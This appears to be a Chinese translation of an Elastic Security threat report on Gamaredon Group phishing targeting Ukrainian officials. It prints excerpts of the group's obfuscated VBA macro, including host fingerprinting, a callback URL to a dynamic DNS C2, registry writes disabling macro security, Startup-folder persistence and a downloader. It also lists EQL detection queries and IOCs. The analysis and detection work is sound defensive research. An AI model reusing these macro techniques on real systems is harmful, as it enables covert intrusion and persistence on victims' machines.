几个月来,Elastic Security 的情报与分析团队一直在追踪一个持续的攻击活动,该活动似乎针对乌克兰政府官员。根据我们的监测,我们认为 Gamaredon Group,一个疑似总部位于俄罗斯的威胁组织,是此次攻击活动的幕后黑手。我们的观察表明,此活动中包含的战术、技术和程序 (TTP) 与公开报告1之间存在显着重叠。
此攻击活动几乎每天都会生成和部署更新的诱饵,这些诱饵似乎针对多个乌克兰政府部门。凭借如此高的行动节奏和积极的目标定位,他们始终采用一系列初始访问技术和程序。在过去的四个月中,这些技术包括鱼叉式网络钓鱼、远程文档模板注入、启动文件夹持久化、VBA/VBScript 语言和动态 DNS 命令与控制基础设施。
在本文中,我们将详细介绍该攻击活动,回顾其具体实施情况,同时提供解决方案,例如通过使用 Elastic 的 事件查询语言 (EQL) 来提供检测策略。
活动详细信息
最早识别的基础设施表明,该活动自 2019 年 8 月以来一直活跃。第一个利用此域名的样本于 2019 年 9 月初提交给 VirusTotal。如图 1(如下所示)中的示例所示,鱼叉式网络钓鱼电子邮件被用于传递恶意附件,并表明 Gamaredon Group 试图冒充反腐活动家。此示例的目标是乌克兰国家安全和国防委员会,其日期为 2020 年 1 月 17 日。
图 1 - 发送给乌克兰国家安全和国防委员会的鱼叉式网络钓鱼电子邮件
典型的诱饵文档可能伪装成向乌克兰外交部发出的信息请求。这些伪造的诱饵包括从乌克兰政府部门窃取的官方徽标,并冒充其目标所熟知的外交官。
图 2 - 诱饵文档 - 乌克兰外交部的请求
为了提高成功率,他们会在活动日期前后定制请求,并包含紧急行动请求。这些努力表明其必要性。
图 3 - 诱饵文档 - 与乌克兰国家安全和国防委员会负责人有关的信息请求
通常,行动号召首先要求受害者打开附加的诱饵文档。尝试打开其中一个恶意附件的用户将看到一个完全令人信服的诱饵文档,而一系列不可见的操作会在屏幕后面发生。这些文档最终利用了一种称为模板注入的技术,这是一种加载远程托管的 Microsoft Word 文档模板的方法。
Microsoft Word 对象的功能类似于压缩存档,并使用 Microsoft 的开放式 Office XML (OOXML) 格式定义属性。在解压缩的 word/_rels/ 子目录中,文件 settings.xml.rels 包含一个网络位置,其中检索了远程托管的模板,如图 4 所示。
图 4 - settings.xml.rels 的摘录
这些诱饵中的每个外部 URL 都配置为指向动态 DNS 提供商(ddns.net、hopto.org)。动态 DNS 提供了在域名系统 (DNS) 中更新名称服务器的自动化功能。通过采用此技术,表明攻击者试图通过使用瞬态基础设施(例如动态 DNS)来掩盖其所有权并混淆原子指标关联。
图 5 - Word 启动屏幕显示下载远程文档模板
远程模板已启用宏,配置为执行 VBA 宏代码,该代码将 VBScript 对象作为立足点保留在受害者的启动文件夹中。我们评估认为,此初始代码的目标是识别受害者,并保护仅用于其目标受害者的第二阶段有效负载。在接下来的章节中,我们将回顾在最近的样本中发现的文档元数据和宏代码。
文档元数据分析
在恶意活动中,通常会为特定目标创建基础设施。这有多种用途,但通常是为了跟踪植入程序并阻碍自动化研究和分析。作为分析师,这使我们可以深入了解攻击者的成熟度、经验和资源。例如,重复使用诱饵文档或模板的攻击者可能经验不足,对高价值目标不感兴趣,或者正在使用先前活动中获利的的基础设施。
分析诱饵文档和模板的元数据可以让我们了解何时创建了这些武器化文档,并确定攻击活动不同元素之间的任何关联。
如图 6 所示,诱饵文档由作者“ШУРИК”于 2019 年 12 月 24 日创建。在图 7 中,我们可以看到作者与在诱饵文档中观察到的作者相同 (ШУРИК)。此外,我们可以看到远程模板创建于 2019 年 12 月 12 日,然后在 2019 年 12 月 24 日进行了修改。它进行了 5 次修改,这表明它已在 12 天内用于 5 次攻击活动,即每次攻击活动大约需要 2.5 天。我们可以相当肯定地说,远程模板很可能会被重复使用,并使用新的宏更新以用于新的攻击活动,并且它们是由同一作者(或至少是同一 Microsoft Word 实例)创建的。
作为分析师的笔记,我们看到不同的工具标记表明这是由一位讲俄语的人员创建的(俄罗斯作者、俄罗斯语言代码、西里尔字符集以及 Reanimator Extreme Edition 的使用)。虽然我们可以将这些用作帮助告知整体分析的信息,但这些信息可以被植入,因此它本身不能明确地证明任何事情。在这种情况下,这与将此与 Gamaredon Group 联系起来的其他开源分析相符,据信该组织起源于俄罗斯。
文件大小 | 46 kB |
文件类型扩展名 | docx |
MIME 类型 | application/vnd.openxmlformats-officedocument.wordprocessingml.document |
上次修改人 | ШУРИК |
修订号 | 2 |
创建日期 | 2019:12:24 15:58:00Z |
修改日期 | 2019:12:24 16:10:00Z |
模板 | pos.dot |
总编辑时间 | 2 分钟 |
页数 | 1 |
字数 | 195 |
字符数 | 1114 |
应用程序 | Microsoft Office Word |
行数 | 9 |
段落数 | 2 |
公司 | Reanimator Extreme Edition |
带空格的字符数 | 1307 |
图 6 - 来自诱饵文档的元数据(为简洁起见进行了截断)
文件大小 | 44 kB |
文件类型扩展名 | doc |
MIME 类型 | application/msword |
语言代码 | 俄语 |
作者 | ШУРИК |
模板 | pos.dot |
上次修改人 | ШУРИК |
ШУРИК | Microsoft Office Word |
创建日期 | 2019:12:12 11:48:00 |
修改日期 | 2019:12:24 10:30:00 |
软件 | 代码页 |
公司 | Reanimator Extreme Edition |
Windows 西里尔文 | 0 |
修订号 | 5 |
总编辑时间 | 0 |
字数 | 0 |
字符数 | 0 |
页数 | 1 |
段落数 | 1 |
行数 | 1 |
带空格的字符数
图 7 - 来自远程模板的元数据(为简洁起见进行了截断)
虽然我们不能权威地声明,但搜索作者“ШУРИК”已经确定了早在 2019 年 9 月就出现的类似 TTP(带有远程模板注入的诱饵文档)。
宏代码分析
Dim NoARzTHy
NoARzTHy = "Set WShell=CreateObject(""WSc" + "ri" + "pt.S" + "hel" + "l"")"
Set PWFJWatF = CreateObject("WScr" + "ipt.Ne" + "two" + "rk")
Dim pbuvwTLK, JzESywut
Set GGZucIZE = CreateObject("Sc" + "rip" + "ting.Fi" + "leSy" + "stemOb" + "ject")
pbuvwTLK = GGZucIZE.Drives(Environ("Syst" + "emDri" + "ve")).SerialNumber
OYTgBXAP = PWFJWatF.ComputerName
宏代码使用字符串连接和程序生成的变量进行了混淆,这些技术通常用于绕过静态检测技术。执行后,此代码提供反向 shell 功能,使攻击者可以访问受害者的系统,并能够访问其本地网络上的共享资源。图 8 包含宏的摘录,其中描述了反向 shell 的创建和自动收集的一些系统信息。
图 8 - 从加载的文档模板中获取的宏代码的前 7 行
Dim NoARzTHy
NoARzTHy = "Set WShell=CreateObject("WScript.Shell")"
Set PWFJWatF = CreateObject("WScript.Network")
Dim pbuvwTLK, JzESywut
Set GGZucIZE = CreateObject("Scripting.FileSystemObject")
pbuvwTLK = GGZucIZE.Drives(Environ("SystemDrive")).SerialNumber
OYTgBXAP = PWFJWatF.ComputerName
图 9 显示了删除连接的相同代码的摘录。
图 9 - 宏代码的前 7 行 - 删除连接
JzESywut = "h" + "tt" + "p:" + "//l" + "ibcr" + "ash.dd" + "ns.ne" + "t/" & OYTgBXAP & "_" & HFzesifc & "//po" + "sol" + "re" + "boo" + "t.ph" + "p"
受害者计算机的序列号和主机名是 VBA 收集的第一批信息。它们被转换为十六进制并包含在反向 shell HTTP 请求中,以识别植入程序和受害者。图 10 显示了宏中 URI 请求的配置,图 11 表示 URI 示例。
JzESywut = hxxp://libcrash.ddns[.]net/ENDPOINT1_96L02G3D//posolreboot.php
图 11 - URI 请求配置 - 示例
默认情况下,微软通过在注册表 HKCU\Software\Microsoft\Office(版本)\Word\Security 中设置键值来禁用外部或不受信任的宏。此宏所做的第一个注册表修改是将 AccessVBOM 的键值更改为 1,从而有效地绕过默认设置来启用外部或不受信任的宏。第二个注册表修改会自动启用所有宏并禁用未来启用宏的对象的警告。图 12 显示了这些注册表修改的宏代码。
FEDzCjgi$ = "HKEY_CURRENT_USER\Software\Microsoft\Office\" & Application.Version & _"\Word\Security\"
CreateObject("WScript.Shell").RegWrite FEDzCjgi$ & "AccessVBOM", 1, "REG_DWORD"
CreateObject("WScript.Shell").RegWrite FEDzCjgi$ & "VBAWarnings", 1, "REG_DWORD"
图 12 - 在宏中发现的注册表修改
剩余的代码最终会写入一个 VBScript 文件,并将其放置在用户的启动目录中。图 13 包含了宏代码的起始部分,其中 VBScript (security.vbs) 被写入磁盘并放置在启动文件夹中。
Dim LISPVdZd As Object
Set LISPVdZd = GGZucIZE.CreateTextFile(FESHWDaD + "\Mi" + "croso" + "ft\Wi" + "ndow" + "s\St" + "art Men" + "u\Pro" + "grams\Sta" + "rtup\secur" + "ity.v" + "b" + "s", True, True)
图 13 - 宏代码写入 VBScript 文件 (security.vbs)
在重新启动或成功验证到受感染系统后,持久性 VBScript 文件会自动执行,并使用之前观察到的 URI (图 14) 发送标准的 HTTP GET 请求。如果请求成功,响应正文将被存储到另一个变量中。此功能似乎充当下载器,其中包含用于在磁盘上重新组装二进制文件的特定子程序指令。图 14 包含用于构造 HTTP GET 请求的函数的摘录。
Function TOGeMFBD(iWotBBKf)
On Error Resume Next
Set EXJJrRlN = CreateObject("MSXML2.XMLHTTP")
With EXJJrRlN
.Open "GET", iWotBBKf, False
.send
End With
If EXJJrRlN.Status = 200 Then
TOGeMFBD = EXJJrRlN.ResponseBody
End If
End Function
图 14 - GET 请求 (security.vbs)
在动态分析期间,分析师确定该脚本在发送请求时进入循环。在受感染用户的漫游配置文件下创建了一个 0 字节的文件,其文件名和文本文件扩展名是程序生成的。该文件被迭代写入和删除,但内容没有变化。
分析师尚未确认此文件的用途,并怀疑它用于重新组装分段的后期植入程序。混淆此过程的潜在原因包括逃避检测和响应解决方案。
翼龙更新
在进行这项研究时,我们观察到一些样本和工件,这些样本和工件似乎与 Gamaredon Group 定制的后门程序的更新版本有关,该后门程序被称为 翼龙。虽然我们没有充分的证据表明翼龙是受害者在此次活动中最终感染的有效负载,但我们以中等程度的信心评估认为此活动与 Gamaredon Group 有关。
上个月,三个 PE 样本被上传到 VirusTotal,每个样本都删除了两个文本文件 (ExcelMyMacros.vba, wordMacros.vba)。这两个文本文件与在此活动中使用的远程模板中发现的 VBA 宏代码有几个相似之处,特别是检索和十六进制编码序列号的方法以及类似的子程序逻辑。图 15 描述了左侧远程模板中的 VBA 宏代码,以及右侧已知翼龙植入程序中删除的 VBA 宏代码。
活动中的 VBA
For LfJesrvH = 0 To UBound( IvAPFGDD )" + vbCrLf
LISPVdZd.Write "IvAPFGDD(LfJesrvH) = Asc( Mid( EaCJFwPc, LfJesrvH + 1, 1 ) )" + vbCrLf
LISPVdZd.Write "Next" + vbCrLf
LISPVdZd.Write "GetFEDzCjgi = IvAPFGDD" + vbCrLf
翼龙中的 VBA
For i = 0 To UBound( asrrCodes )" + vbCrLf
NewVDJKpCBSFile.Write " asrrCodes(i) = Asc( Mid( myPassPhrase, i + 1, 1 ) )" + vbCrLf
NewVDJKpCBSFile.Write " Next" + vbCrLf
NewVDJKpCBSFile.Write " GetKey = asrrCodes" + vbCrLf
图 15 - 宏比较 - 活动中的 VBA(上)与翼龙中的 VBA(下)
这两个文本文件都包含 VBA,并具有相同的功能,即禁用宏警告,在启动文件夹中创建持久性 VBScript 以及建立与 C2 的连接。删除的文本文件 (VBA) 中有趣的是,它们显示了开发人员在工具混淆变量之前使用的真实变量名称。在撰写本文时,与翼龙样本相关的四个 C2 服务器(请参阅所附的指标)均处于活动状态,并托管分配给 ASN9123 (TIMEWEB LTD) 的网络。与针对乌克兰官员的 Gamaredon Group 活动相关的宏代码回调到同一网络中托管的 C2。
在其中一些工件中出现的一个有趣变化似乎是采用了 .NET。除了包含 VBA 代码的两个文本文件之外,还有三个删除的 DLL(Microsoft.Office.Interop.Excel.dll,Microsoft.Office.Interop.Word.dll,Microsoft.Vbe.Interop.dll)和一个 .NET 样本,显示了与这些文件的依赖关系。图 16 显示了对其中一个 VBA 文件 (wordMacros.txt) 的十六进制编码引用。基于这些观察,看到 Gamaredon Group 继续利用其 VBA 暂存器代码的核心功能,但在使用 .NET 的新执行方法中,这非常有趣。
图 16 - .NET 对 “wordMacros.txt” 的引用
检测制作
对于有兴趣检测此博客文章中讨论的 TTP 的组织,已为以下类别提供了检测逻辑
动态 DNS
动态 DNS 使对手能够快速配置大量映射回其基础设施的记录,从而在受害者和对手之间创建混淆层。Gamaredon Group 专门使用动态 DNS 位置来远程托管模板,不断轮换域,并利用单独的基础设施来托管暂存器和模板。
为您的企业分析动态 DNS 是开始狩猎的好方法,不仅可以基准和建立环境意识,还可以直接发现恶意活动。我们将主要关注在此活动中观察到的两个动态 DNS 提供程序。如果您需要灵感,请考虑统计向其中一个动态 DNS 提供程序发出 DNS 请求的所有非浏览器进程,如图 17 所示。
dns where wildcard(query_name, "*.ddns.net", "*.hopto.org", "*.bounceme.net") and
process_name not in ("chrome.exe","iexplore.exe", "firefox.exe")
| count process_name, query_name
图 17 - EQL 查询 - 到动态 DNS 提供程序的非浏览器进程计数
另一个选项是检查与这些提供程序通信最频繁的进程,并且可以提供有关如何在您的环境中使用动态 DNS 的更多上下文,或者使分析师能够找到其他恶意活动的迹象。
network where event of
[dns where wildcard(query_name, "*.ddns.net", "*.hopto.org", "*.bounceme.net")
| count process_name, total_in_bytes, total_out_bytes
图 18 - EQL 查询 - 进程到动态 DNS 提供程序的网络流量
模板注入
利用 模板注入的鱼叉式网络钓鱼附件可能会绕过安全控制,因为它们不包含嵌入的 VBA 代码。附加的文档检索远程托管的模板,其中驻留着恶意 VBA 代码。为了动态检测此活动,请分析常见协议(HTTP/HTTPS/SMB)和 Microsoft Office 应用程序生成的进程上的 DNS 和网络流量。企业防御者可能需要将远程托管模板的任何合法使用或对 Microsoft 基础设施的任何良性网络活动列入白名单。下面是一个示例 EQL 查询,重点关注来自 Office 产品的新进程创建事件,这些事件还向我们的白名单之外发出了 DNS 请求。
sequence by unique_pid
[process where process_name in ("winword.exe", "excel.exe", "powerpnt.exe")]
[dns where not wildcard(query_name , "*.microsoft.com", "*.skype.com")]
图 19 - EQL 查询 - 来自 Office 应用程序的 DNS 流量
我们可以使用先前查询的一些增强功能是向序列添加网络事件,并查找生成的子进程,从而为检测带来更多上下文。
sequence
[process where process_name in ("winword.exe", "excel.exe", "powerpnt.exe")] by unique_pid
[dns where not wildcard(query_name, "*.microsoft.com", "*.skype.com")] by unique_pid
[network where true] by unique_pid
[process where subtype.create] by unique_ppid
图 20 - EQL 查询 - 来自 Office 应用程序的动态 DNS 请求的网络流量
如果我们想专门针对 Gamaredon Group 活动定制基于序列的检测,我们可以引入以前的动态 DNS 提供程序,这会创建一个更严格的过滤器。
sequence by unique_pid
[process where process_name in ("winword.exe", "excel.exe", "powerpnt.exe")]
[network where event of
[dns where wildcard(query_name, "*.ddns.net", "*.hopto.org", "*.bounceme.net")]]
图 21 - EQL 查询 - 来自 Office 应用程序的动态 DNS 请求的网络流量
通过 Elastic Endpoint 提供的各种功能,可以通过不同的机器学习技术来阻止此类攻击,从而阻止诸如启用宏的文档和恶意二进制文件之类的高级威胁。除了这些保护措施之外,我们几乎可以使用任何 EQL 逻辑并以预防模式进行部署,以完全阻止攻击,例如在此示例中,下载和执行远程模板。这是一个短片,展示了其工作原理
恶意注册表配置
为了使对手有效地完成任务,他们通常会创造自己的机会。在这种情况下,对手重新配置了目标端点,以便禁用宏安全警告并自动信任未来的宏。这些小更改最终可能会产生更大的影响,防御者可以将其视为更严重的安全问题的症状。例如,这些相同的技术也与 APT32 之类的威胁组织相关联,并被诸如 AgentTesla 和 BabyShark 等恶意软件家族利用。
此查询查找禁用宏警告并自动启用未来宏的注册表修改的证据
registry where registry_data == 1 and wildcard(registry_path,
"*\\Software\\Microsoft\\Office\\*\\Word\\Security\\AccessVBOM",
"*\\Software\\Microsoft\\Office\\*\\Word\\Security\\VBAWarnings")
图 22 - EQL 查询 - 围绕禁用宏安全功能的注册表修改
这可以作为独立的检测很好地发挥作用,但是 EQL 允许我们在示例查询中查找注册表修改和模板注入技术
sequence by unique_pid
[process where process_name in ("winword.exe", "excel.exe", "powerpnt.exe")]
[registry where registry_data == 1 and wildcard(registry_path,
"*\\Software\\Microsoft\\Office\\*\\Word\\Security\\AccessVBOM",
"*\\Software\\Microsoft\\Office\\*\\Word\\Security\\VBAWarnings")]
[registry where registry_data == 1 and wildcard(registry_path,
"*\\Software\\Microsoft\\Office\\*\\Word\\Security\\AccessVBOM",
"*\\Software\\Microsoft\\Office\\*\\Word\\Security\\VBAWarnings")]
图 23 - EQL 查询 - 围绕禁用宏安全功能的注册表修改
持久性启动
Gamaredon Group 利用恶意 Windows 快捷方式文件和写入 启动文件夹的脚本对象来实现持久性。尽管此技术很简单,但它非常有效,并且在对手中仍然很受欢迎。开始构建检测逻辑的第一个位置之一是查询将文件写入启动文件夹的进程。
file where subtype.create
and (
file_path == "*\\Programs\\Startup\\*.lnk" or
file_path == "*\\Programs\\Startup\\*.vbs"
)
| count process_name, file_path, user_name
图 24 - EQL 查询 - 监视对启动文件夹的文件写入
为了更进一步,我们还可以自定义检测逻辑以包括在登录时执行 VBScript。这是构建基于序列的信号的绝佳示例,因为我们将跟踪对手在较长一段时间(例如 90 天)内的活动。重新启动计算机或用户重新登录后,当 WScript 在启动时执行 VBScript 文件时,会生成警报。
sequence with maxspan=90d
[file where subtype.create and file_path == "*\\Programs\\Startup\\*.vbs"]
[process where subtype.create and parent_process_name=="explorer.exe" and
process_name == “wscript.exe” and command_line == "*\\Programs\\Startup\\*"]
图 25 - EQL 查询 - 监视启动进程的执行
结论
在本文中,我们回顾了与一个公开称为 Gamaredon Group 的对手相关的最新活动 TTP。该组织可能至少自 2013 年以来一直处于活动状态,并且在撰写本文时一直在对乌克兰进行持续的活动。我们重点介绍了一些他们当前的技术,例如模板注入和动态 DNS 提供程序的使用,在最近的样本中发现的宏代码,以及对其自定义后门程序(称为翼龙)的更新。通过使用 EQL,我们还分享了围绕 Gamaredon Group 使用的四种特定技术的狩猎和检测策略。
我们希望通过分享其中的一些见解和查询,可以帮助提高认识并继续致力于保护世界数据免受攻击。为了进一步帮助组织,我们在下面添加了所有入侵指标 (IOC),并将本文中的查询添加到了 EQLLib 存储库。
有兴趣使用 Elastic Security 吗?免费试用 Elastic SIEM。
入侵指标 (IOC)
诱饵文档 SHA-256 | 86e0701349903105b0c346df9485dd59d85dd9463c2bee46d974ea1b1d7059d4 |
远程模板 (pos.dot) SHA-256 | feb0596e9735e03ae929d9b5ee862da19e16e5cdf57dd2a795205e591a55940f |
来自诱饵文档域的远程模板 | document-out[.]hopto[.]org/pos[.]dot |
远程模板托管 IP | 141[.]8[.]195[.]60 |
远程模板托管 IP | 141[.]8[.]192[.]153 |
系统信息上传 IP | 188[.]225[.]25[.]50 |
系统信息上传 URI | libcrash.ddns[.]net/{计算机名称_序列号}//posolreboot.php |
ExcelMyMacros.vba SHA-256 | c4089686965df5e52105b6eac06703aa11c4891695278446370f623d531b505e |
wordMacros.vba SHA-256 | 02e6e2bfaaf6e77cfaccadaf26167135c53cf2c934d17c5a83e5bbcadd85b47d |
ExcelMyMacros.txt SHA-256 | 2f310c5b16620d9f6e5d93db52607f21040b4829aa6110e22ac55fab659e9fa1 |
翼龙 SHA-256 | c1524a4573bc6acbe59e559c2596975c657ae6bbc0b64f943fffca663b98a95f |
翼龙 SHA-256 | 145a61a14ec6d32b105a6279cd943317b41f1d27f21ac64df61bcdd464868edd |
翼龙域名 | beercraft[.]space |
翼龙域名 | skymage[.]fun |
翼龙域名 | masseffect[.]space |
翼龙域名 | masseffect[.]website |
翼龙 IP | 185[.]200[.]241[.]88 |
翼龙 IP | 188[.]225[.]46[.]94 |